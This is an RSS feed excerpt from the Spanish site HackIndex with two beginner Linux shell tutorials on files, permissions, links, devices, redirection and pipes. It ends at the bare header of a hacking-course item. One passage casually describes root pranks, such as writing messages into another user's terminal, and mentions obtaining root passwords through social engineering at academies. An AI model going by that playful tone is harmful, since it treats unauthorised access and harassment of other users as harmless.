<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cat fichero.txt<br />
Esto es el contenido de mi fichero<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Pero vamos a cotillear otros ficheros, (si estas accediendo con un telnet no hagas la siguiente órden), por ejemplo, vamos a ver que tiene el fichero &#8220;less&#8221; por dentro.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cat /usr/bin/less<br />
dsfgvrtyv456v3ty 45 tg fgf f wf werv345v<br />
v 4345v2345v45v3 (pitido)sdf df sdfsd(pitido)<br />
df f wef wefwe(requetepitido) sdf sdf df sdfsdf<br />
[cosas muy raras]$ _</td>
</tr>
</tbody>
</table>
<p>Hemos visto aparecer en la pantalla una sucesión de símbolos raros, pitidos, e incluso, se nos ha desconfigurado la consola.</p>
<p>Si tecleamos algo, las letras han sido cambiadas por símbolos semigráficos.</p>
<p>Para dejar la consola como estaba, se usa la órden &#8220;reset&#8221;, también se restaura solo cada vez que se rearranca el ordenador, aunque de todas formas, cada vez es más raro que se desconfigure el terminal.</p>
<p>Vamos a entrar en otra sesión. Linux, puede disponer en su consola de varias sesiones virtuales, por defecto hasta siete, pulsando la combinación de teclas &#8220;Alt + F2&#8243;, vamos a la sesión 2, para volver pues &#8220;Alt + F1&#8243;, podemos combinar &#8220;Alt &#8221; con las teclas F1 hasta F6. F7 normalmente está reservada para XWindow, y para conmutar de X Window a modo texto, es necesario pulsar además la tecla &#8220;Control&#8221;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>Linux Debian (Potatoe)Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Cuando hemos volcado el fichero &#8220;less&#8221;, nos ha salido los símbolos raros, por que &#8220;less&#8221; no es un fichero para ser leido, no es un fichero de texto plano, y puede contener, y contiene carácteres que no son imprimibles en la salida estandar.</p>
<p>Para saber que tipo de fichero es un fichero determinado, tenemos la órden &#8220;file&#8221;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ file /usr/doc/FAQ/txt/Linux-FAQ<br />
/usr/doc/FAQ/txt/Linux-FAQ: English Text<br />
[genaro]$ file /usr/doc/FAQ/html/Linux-FAQ-1.html<br />
/usr/doc/FAQ/html/Linux-FAQ-1.html:HTML document text<br />
[genaro]$ file /usr/bin/less<br />
/usr/bin/less: ELF 32-bit LSB executable, Intel 80386, version 1,dynamically linked (uses shared libs), stripped<br />
[genaro] _</td>
</tr>
</tbody>
</table>
<p>Del primer documento nos dice que es de texto, o sea, se puede volcar con &#8220;cat&#8221;, del segundo, que es html, también se puede volcar, aunque veremos el fuente en HTML, y no como lo veríamos con un navegador como el Linx. Y del tercero, nos dice que es un programa. Con este programa, podemos ver los otros dos ficheros.</p>
<p>El comando file, reconoce entre muchos tipos de ficheros, gif, jpeg, midi, y incluso ejecutables de otros sistemas operativos, y no se deja engañar por la extensión del fichero.</p>
<p>Los ficheros, además de crearlos con un editor de textos, se pueden copiar, mover, y borrar.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cp /usr/bin/less .<br />
[genaro]$ ls -l less<br />
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Con la órden anterior, &#8220;cp&#8221;, hemos copiado el fichero less a nuestro directorio de trabajo, y como esta copia es nuestra, el propietario del fichero es &#8220;genaro&#8221;, y el grupo propietario es &#8220;users&#8221;. Con el puntito, hemos indicado el directorio al que queremos copiar el fichero, puesto que &#8220;cp&#8221; no permite omitir el segundo parámetro y que se tome el directorio actual como destino.</p>
<p>Vamos a observar por un momento el programa &#8220;less&#8221; original.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ls -l /usr/bin/less<br />
-rwxr-xr-x 1 root root 81236 Aug 28 1999 /usr/bin/less</td>
</tr>
</tbody>
</table>
<p>El tamaño es el mismo, pero pertenece al usuario &#8220;root&#8221;, o sea, el superusuario, y su grupo propietario es &#8220;root&#8221;, la fecha de creación también a cambiado.</p>
<p>Si observamos los permisos del fichero,</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>-rwxr-xr-x</td>
</tr>
</tbody>
</table>
<p>El propietario del fichero, o sea, root, es el único que puede escribir en less (rwx), el grupo propietario sólo puede leer y ejecutar como programa (r-x), y nosotros, los demás usuarios, igual, (r-x).</p>
<p>El primer carácter, indica tipo de fichero:</p>
<p>&#8220;-&#8221; Fichero ordinario, como programas, mpeg, mp3, txt, &#8230;<br />
&#8220;d&#8221; Directorio, se accede a el con &#8220;cd&#8221;, &#8220;ls&#8221;, etc.<br />
&#8220;c&#8221; Fichero de control de dispositivo en modo caracter.<br />
&#8220;b&#8221; Fichero de control de dispositivo en modo bloque.<br />
&#8220;s&#8221; Socket de tipo Unix.<br />
&#8220;l&#8221; Enlace simbólico.</p>
<p>Si observamos nuestro fichero, tiene los mismos permisos, &#8220;-rwxr-xr-x&#8221;, pero como nosotros somos el propietario del fichero, podemos escribir en el, e incluso podemos borrarlo si queremos.</p>
<p><strong>TIP:</strong> el usuario &#8220;root&#8221;, también puede acceder y escribir en nuestros ficheros aunque quitemos los permisos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ mkdir OtroDir<br />
[genaro]$ cd OtroDir<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Creamos una carpeta nueva, y entramos en ella. Vamos a mover el fichero &#8220;less&#8221;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[OtroDir]$ mv ../less .<br />
[OtroDir]$ ls -l<br />
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Si queremos borrarlo, usamos la órden rm</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[OtroDir]$ rm less<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Nuestra copia de &#8220;less&#8221; ya no existe. Un poco de teoría:</p>
<p>¿Sabéis lo que es un inode?.</p>
<p>Supongamos que tenemos una partición vacía de cualquier sistema operativo tipo Unix, SCO, BSD, ext2fs &#8230;</p>
<p>En esa partición vacía, hay una o más zonas, en la que no podremos guardar nuestros datos, pues son para uso administrativo del sistema operativo, esa zona, se divide en partes o &#8220;cachitos&#8221;, llamados inodes, normalmente no suelen tener más de 100 octetos, aunque pueden ser de mayor tama$ntilde;o, dependiendo del sistema de ficheros.</p>
<p>Cuando creamos un fichero vacio, el sistema operativo, rellena de datos un inode, ¿y qué datos son esos?, el nombre del fichero, en qué sectores del disco duro están, su tamaño o longitud, la fecha de última modificación, etc.</p>
<p>Cuando escribimos datos en el fichero, el inode se actualiza, para reflejar los cambios.</p>
<p>Y ahora pregunto, ¿Qué impide que un fichero tenga dos inodes?, nada. El hecho de que un fichero tenga dos inodes, implica, el que está al mismo tiempo en dos sitios con dos nombres diferentes, o en un mismo directorio con dos nombres distintos.</p>
<p>Eso se llama hacer un enlace.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ln /usr/bin/less ./paginador<br />
[genaro]$ ls -l paginador<br />
-rwxr-xr-x 2 root root 81236 Aug 28 1999 paginador<br />
[genaro]$ ls -l /usr/bin/less<br />
-rwxr-xr-x 2 root root 81236 Aug 28 1999 /usr/bin/less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Fijaros en dos detalles, despues de los permisos, &#8220;-rwxr-xr-x&#8221; hay un número 2, donde antes había un &#8220;1&#8243;. Eso quiere decir, que ese número, es el número de inodes que tiene ese fichero. antes tenía un inode, y ahora uno.</p>
<p>¿Cual es el segundo detalle?, que el fichero &#8220;paginador&#8221; sigue perteneciendo a &#8220;root&#8221;, si no fuese así, sería un fallo de seguridad, pues para acceder a cualquier fichero, bastaría con hacer un enlace y podremos modificarlo a nuestro antojo.</p>
<p>Cuando usamos la orden rm para borrar un fichero, lo que hace es eliminar un inode, pero los demas inodes siguen existiendo, el fichero, bloque de datos del fichero, sólo se borra cuando no quedan más inodes.</p>
<p><strong>Tick:</strong> repito, cuidado con &#8220;&gt;&#8221;. Ver capítulo III</p>
<p>Es posible que al intentar hacer el enlace, aparezca un mensaje como el siguiente:</p>
<p>ln: no se puede crear un enlace duro de `./less&#8217; a `/usr/bin/less&#8217;: Enlace cruzado entre dispositivos no permitido.</p>
<p>Eso es debido a que se está intentando hacer un enlace a un sistema de ficheros diferente. Por ejemplo:</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ df<br />
Filesystem 1k-blocks Used Available Use% Mounted on<br />
/dev/hda7 606405 188388 386692 33% /<br />
/dev/hda1 23300 2655 19442 12% /boot<br />
/dev/hda9 1756260 820291 845204 49% /home<br />
/dev/hda8 1554262 655666 818273 44% /usr<br />
/dev/hda6 85520 16686 64418 21% /var<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Con la orden &#8220;df&#8221; vemos que particiones tenemos en el disco duro, nosotros estamos en el directorio &#8220;/home/genaro&#8221;, que está en la partición /dev/hda9 y la órden &#8220;less&#8221; está en el directorio &#8220;/usr/bin&#8221; que está en la partición /dev/hda8</p>
<p>A este tipo de enlace se le llama enlace duro. También se pueden hacer enlaces duros, aunque muchos unices no lo permiten, y en muchos sistemas operativos, sólo está permitido a &#8220;root&#8221; y está fuertemente desaconsejado, eso es debido a que muchas aplicaciones como las utilidades de backup, y todas aquellas que exploren el disco duro para hacer o buscar algo, podrían entrar en un bucle infinito, y terminarían fallando.</p>
<p>Otro tipo de enlaces, son los enlaces simbólicos, estos enlaces son de alguna forma similares a los accesos directos de Windows, o mejor dicho, los accesos directos de Windows son como los enlaces simbólicos de Unix.</p>
<p>Si haceis analizado alguna vez un acceso directo de Windows, en realidad es un fichero PIF, o sea, un fichero que contiene el nombre de otro fichero.</p>
<p>Los enlaces simbólicos son un fichero con el nombre de otro fichero, y tratado de forma especial por el sistema operativo para que lo trate como si fuera el fichero al que apunta.</p>
<p>Para crear un enlace simbólico</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ln -s /usr/bin/less ./pag-simbolico<br />
[genaro]$ ls -l pag-simbolico<br />
lrwxrwxrwx 1 genaro users 13 Mar 22 00:24 pag-simbolico-&gt;/usr/bin/less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Observe como el fichero tiene ahora la letra &#8220;l&#8221; como primer caracter, la &#8220;l&#8221; indica enlace simbólico.</p>
<p>Por último nos queda por ver los dispositivos controladores. Están todos en el directorio /dev</p>
<p>Existen dos tipos, de caracter y de bloque. Los dispositivos de bloque, tienen soporte de buffer y se accede mediante grandes bloques de datos al mismo tiempo, un ejemplo, son las particiones del disco duro, y el propio disco duro.</p>
<p>/dev/hda Primer disco duro IDE<br />
/dev/hda1 Primera partición del primer disco duro<br />
/dev/sdb Segundo disco SCSI</p>
<p>Si volcaramos con la órden cat un fichero a uno de estos ficheros, escribiríamos directamente a estos ficheros, y por lo tanto, machacaríamos algo, como la tabla de particiones, o el superbloque de una partición linux, o el arranque de un Windows. Por ese motivo, sólo &#8220;root&#8221; o programas con permisos de root, puede acceder a estos ficheros.</p>
<p>Los ficheros de caracter, como su nombre indica, se accede a ellos caracter a caracter.</p>
<p>/dev/modem por ejemplo, suele ser un enlace simbólico a un dispositivo de caracter</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ls -l /dev/modem<br />
lrwxrwxrwx 1 root root 10 Dec 22 01:05 /dev/modem -&gt;/dev/ttyS1<br />
[genaro]$ ls -l /dev/ttyS1<br />
crw&#8212;&#8212;- 1 root tty 4, 65 Mar 21 22:11 /dev/ttyS1<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>Los programas que acceden al modem, lo hacen como si fuera un fichero convencional, (para los que conozcan el lenguaje &#8220;C&#8221; fopen(), fread(), fwrite(), fclose(), fprintf(), etc.).</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ tty<br />
/dev/tty2<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>La órden anterior, &#8220;tty&#8221;, nos dice cual es el controlador de dispositivo de nuestra sesión. /dev/tty</p>
<p>Si el usuario &#8220;root&#8221; estuviera conectado mediante un telnet, podría hacer una gamberrada tal y como</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[root] # echo &#8220;Tonto el que lo lea&#8221; &gt; /dev/tty2</td>
</tr>
</tbody>
</table>
<p>Y en mi pantalla aparecería ese mensaje.</p>
<p><strong>Tick:</strong> En las academias, donde todo el mundo consigue por ingeniería social el password de root, es muy posible que cuando la gente se aburre, no se pueda trabajar debido a que todo el mundo envíe mensajitos usando este método.</p>
<p>También es común gamberradas más gordas volcando ficheros de todo tipo.</p>
<p>Como ejercicio de la semana, os propongo a los que tengais tarjeta de sonido y micrófono, que grabeis un fichero de sonido desde el micrófono.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>cat /dev/audio &gt; grabación.raw</td>
</tr>
</tbody>
</table>
<p>Y posteriormente lo envieis a los altavoces</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>cat /grabacion.raw &gt; /dev/audio</td>
</tr>
</tbody>
</table>
<p>No me acuerdo como se cortaba la grabación, ¿control + &#8220;c&#8221;?</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra III</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:11:48 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=221</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra III Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La pantalla negra III<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Y esta semana, con un poco de retraso, Mario bross, no, no vamos a jugar,vamos a tratar los pipes, o tuberías, y los filtros.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Para empezar, necesitamos crear algunos ficheros con datos, para ello podemos utizar un editor de textos, hay varios, el &quot;joe&quot;, el &quot;vi&quot;, el &quot;jed&quot;, y el &quot;emacs&quot; son cuatro de los más populares, el único del que hay garantia de que se puede encontrar en cualquier Unix es el vi, pero es un poco complejo de utilizar, así que vamos a crear un fichero a pelo.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo hola<br />
hola<br />
[genaro]$ _</td>
</tr>
</table>
<p>La órden echo, envía a &quot;salida estandar&quot; un mensaje, ¿Y qué eso de salida estandar? Veamos, cualquier aplicación de Unix/Linux, e incluso las aplicaciones de DOS, tienen tres ficheros abiertos, que utilizan para poder funcionar.</p>
<p>El primer fichero es de sólo lectura y se llama &quot;entrada estandar&quot;, representa normalmente al teclado, los programas leen a traves de este fichero todo lo que escribimos. Normalmente se conoce a este fichero como stdin.</p>
<p>El segundo fichero es de sólo escritura, y se llama &quot;salida estandar&quot;, y representa la salida de nuestro programa, cuando un programa quiere escribir algo en la pantalla, lo que hace es escribir en este fichero.</p>
<p>El tercer fichero, se llama &quot;error estandar&quot;, es también de sólo escritura, es similar al anterior, y se usa para imprimir mensajes de error.</p>
<p>He dicho, que la salida estandar representa la pantalla y la entrada estandar, representa el teclado, pero eso no tiene por que ser siempre así. Podemos cambiar la salida estandar de un programa con el operador &quot;&gt;&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo hola &gt; fichero.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p>No hemos visto la salida de echo por la pantalla, la salida ha sido redirigida al fichero &quot;fichero.txt&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro] ls<br />
fichero.txt<br />
[genaro] _</td>
</tr>
</table>
<p>Si queremos ver el contenido de ese fichero usamos la orden &quot;cat&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro] cat fichero.txt<br />
hola<br />
[genaro] _</td>
</tr>
</table>
<p>¿Y como podemos añadir más líneas al fichero?, vamos a intentarlo.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo linea2 &gt; fichero.txt ; cat fichero.txt<br />
linea2<br />
[genaro]$ _</td>
</tr>
</table>
<p>Recordemos que se pueden meter dos órdenes en una sóla línea si las separamos con un punto y coma.</p>
<p>¿Qué ha pasado?, se ha machacado el archivo y contiene lo último que hemos escrito. Para que no se sobreescriba utilizamos el símbolo &quot;&gt;&gt;&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo linea1 &gt; fichero.txt<br />
[genaro]$ echo linea2 &gt;&gt; fichero.txt<br />
[genaro]$ echo linea3 &gt;&gt; fichero.txt<br />
[genaro]$ cat fichero.txt<br />
linea1<br />
linea2<br />
linea3<br />
[genaro]$ _</td>
</tr>
</table>
<p>Cualquier cosa que envíe cosas a pantalla usando la salida estandar puede ser redirigido, por ejemplo la órden &quot;ls&quot;, o incluso la orden &quot;cat&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cat fichero1.txt &gt;&gt; fichero2.txt<br />
[genaro]$ ls<br />
fichero1.txt fichero2.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p>En este caso como fichero2.txt no existía, lo crea nuevo, y en este caso hemos copiado el fichero, ambos tienen el mismo contenido.</p>
<p><b>TIP 1:</b> Cuidado con el operador &quot;&gt;&quot;, puede machacar documentos, pues siempre los crea nuevos.</p>
<p>¿Qué utilidades podemos encontrar redirigiendo la salida estandar?, veamos:</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /usr/bin</td>
</tr>
</table>
<p>Salen un montón de ficheros y no dá tiempo a verlos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /usr/bin &gt; fichero3.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p><b>TIP 2:</b> En lugar de teclear de nuevo &quot;ls -l /usr/bin&quot; podemos recuperar las órdenes anteriores con las flechas de cursor y editarlas a nuestra conveniencia. En este caso con pulsar la flecha arriba una vez, aparece &quot;ls -l /usr/bin&quot; y sólo tenemos que añadir &quot; &gt; fichero3.txt</p>
<p>Si usamos la órden cat, para visualizar fichero3.txt, estamos en las mismas, no nos da tiempo a ver nada, usaremos mejor la órden &quot;more&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ more fichero3.txt</p>
<p>muchas lineas</p>
<p>&#8211;more&#8211;(12%)</td>
</tr>
</table>
<p>Vemos como en esta ocasión. cuando se acaba la pantalla, la salida se para, si pulsamos el retorno de carro, avanzamos una línea, si pulsamos la barra espaciadora, avanzamos una página entera. Salimos del paginador &quot;more&quot; cuando se acaba el documento a visualizar, o bién cuando pulsamos la tecla &quot;q&quot;. En linux hay otro paginador mejor que &quot;more&quot;, se llama &quot;less&quot;, permite avanzar y retroceder por el texto usando las tecla del cursor.</p>
<p>Vamos a probarlo un poco.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cd /usr/doc/FAQ<br />
[FAQ]$ _</td>
</tr>
</table>
<p>¿Os acordais de los famosos FAQ y los HowTo de Linux de los que muchos hablan, pues están aqui, en este directorio, &#8230;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[FAQ]$ ls -l<br />
drwxr-xr-x 5 root root 1024 Dec 22 01:46 ./<br />
drwxr-xr-x 198 root root 5120 Dec 22 01:46 ../<br />
drwxr-xr-x 2 root root 2084 Dec 22 01:46 html/<br />
drwxr-xr-x 2 root root 1024 Dec 22 01:46 ps/<br />
drwxr-xr-x 2 root root 1024 Dec 22 01:46 txt/<br />
[FAQ]$ _</td>
</tr>
</table>
<p>Vemos que hay un directorio para html, (hará falta un navegador web, como el lynx), otro para documentos que están en postscript y otro para ficheros ASCII planos. Un fichero ASCII plano, es un fichero de texto, que no tiene formato, como los que hemos creado hace poco.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[FAQ]$ cd txt<br />
[txt] less Linux-FAQ</td>
</tr>
</table>
<p>Para volver a nuestro directorio, usamos</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[txt] cd $HOME<br />
[genaro] _</td>
</tr>
</table>
<p>HOME es una variable de entorno que contiene nuestro directorio de trabajo, se verán en otro capitulo.</p>
<p>Hasta ahora, hemos visto que podemos guardar la salida estandar de un programa en un fichero, y luego, ver cómodamente esa salida estandar con un paginador, como puede ser &quot;less&quot;. Pero eso es un poco incómodo, pues podemos llenar el disco duro de ficheros innecesarios, ¿como podemos evitarnos ese paso? Con ayuda de una &quot;tubería&quot;, ya era hora que comenzara a hablar de lo que trata este capítulo. Para utilizar una tubería, se utiliza el operador pipe y es este &quot;|&quot;, la barra vertical que se consigue pulsando tecla &quot;1&quot; con la tecla &quot;AltGr&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /etc/bin | less</td>
</tr>
</table>
<p>Ya podemos ver tranquilamente en la pantalla qué ficheros tenemos en el directorio /etc/bin Para hacerlo más divertido, con la órden tree, podemos obtener un listado de los directorios existentes a partir de un directorio en forma de árbol.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ tree -d /usr | less</td>
</tr>
</table>
<p>Si lo usamos con la opción -a, muestra todo, incluidos los ficheros. Existen otros filtros que se pueden usar con una tubería, uno de los más conocidos es el filtro &quot;sort&quot;, que ordena alfabéticamente la entrada estandar. Cuando redireccionamos la &quot;salida estandar&quot; a un fichero, si se produce un error en el programa, el mensaje de error no se imprime en el fichero, si no que se vuelca a la pantalla. Esto es debido a que los mensajes de error se imprimen usando &quot;error estandar&quot;, &quot;stderr&quot;. Para redireccionar el error estandar.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cc programa.c -o programa 2&gt;errores.txt</td>
</tr>
</table>
<p>La órden cc, sirve para compilar programas que están escritos en lenguaje &quot;C&quot; y &quot;C++&quot;, en el ejemplo, los errores de compilación se enviarán al fichero &quot;errores.txt&quot;. Y por último &#8230;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ exit</p>
<p>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Hoy hemos visto:</p>
<li>- Crear ficheros con contenido.</li>
<li>- Ver ficheros.</li>
<li>- Concepto de entrada estandar, salida estandar y error estandar,</li>
<li>- Redireccionamiento de salida estandar y error estandar.</li>
<li>- Tuberías.</li>
<p>La próxima semana, o sea dentro de pocos días, me extenderé en el tema de los ficheros.</p>
<p>Lokutus, asimilando la red.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) II</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:10:49 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[cortafuegos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[escanear]]></category>
		<category><![CDATA[escaner]]></category>
		<category><![CDATA[finger]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[fping]]></category>
